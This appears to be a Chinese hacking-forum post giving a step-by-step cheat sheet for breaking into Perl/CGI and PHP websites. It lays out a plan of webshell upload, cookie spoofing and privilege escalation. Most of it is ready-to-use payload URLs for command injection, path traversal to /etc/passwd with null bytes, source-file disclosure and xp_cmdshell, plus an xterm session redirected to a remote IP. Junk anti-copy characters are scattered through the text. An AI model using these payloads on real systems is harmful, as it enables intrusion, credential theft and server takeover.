总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
& I8 o. K; u$ @# Qcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 5 S. y% m R; ]2 B$ b) e- k& E
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 # a6 ?8 {, A7 y# D' q2 d& J p4 a
注“
" U5 ?. M; Z' l5 l4 Q7 V8 Zperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 3 L8 z3 W4 G$ \7 Y5 [% v
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
- j: \/ w: R, I$ ]+ r
. S0 v9 @" }$ \3 S; Bhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
3 W4 t6 W, _( l, L5 ^4 i8 Ihttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
( Y* o5 G7 [7 R9 Uhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 9 L: ^- j% o3 m/ A2 i2 P7 Q3 k
http://target.com/cgi-bin/home/news/sub.pl?`id` - B1 D' d$ v' U, ^# Y W# T
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` & T* j0 R! R3 z$ ]# h
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
" w: x( p+ _. }. u/ W
6 M7 _' C; _2 C' x+ n; u$ n7 C1 h- P# ghttp://target.com/test.pl;ls|
, C* ~ \1 B& I0 [) h) q! L- hhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| % C6 J$ O3 @: T m( R1 u0 k
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
/ V" ~# c1 x' ~ M1 _% ahttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 7 R3 ` Y) M$ D, w& \) W4 }
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
m0 I, L2 y& thttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection ) y" q" {2 L6 e& d# h
x- E; M6 ~0 F( F
http://target.com/test.pl?&........ /../../etc/passwd
& W3 x; }/ d1 X, _ |2 E: D! l& |, c
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
9 w% _/ `$ K/ Zhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
( _" i) L. M! {) t- A4 uhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
2 h! h% `3 ?- g6 f3 j3 Q* B4 W" Y$ T7 L; i
http://www.target.org/show.php?f ... /include/config.php 查看php代码 & `$ {% C6 j. U6 R, }8 \
http://www.target.org/show.php?f ... ng/admin/global.php . d$ ~5 C% S6 e" o6 y
/ m$ `3 @2 p! A$ O; z2 P/ m
emm和ps的一句话% c8 J( d3 Q: J7 S5 d) ]
% L$ W% {2 T( m hhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
- d. z% D4 H. g* }8 D/ u* D
3 ]/ G: B. r, Q0 ^6 g* L>bbb%20| " ]" O+ e: C% r* P/ @. u
% k! |; c2 k$ C( |+ @
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
1 A8 x$ _ ^/ R) U! I2 V
" s; a- D) j( G5 p4 {5 Lhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
. q& g. |' q- W' t6 [, {( Qhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
& d; P% I' @+ A Q; d4 K5 ?
- q5 T, n: _/ T9 ]相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 ( \! R) q3 I6 b3 y
http://target.com/index.html#cmd.exe
# I% A# _. G* } L) Thttp://target.com/index.html?dummyparam=xp_cmdshell 8 T/ x; b, m9 m! Z3 O/ r* u/ l
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd : z+ {6 d4 z% o' V8 k3 q3 A' n6 l3 P
|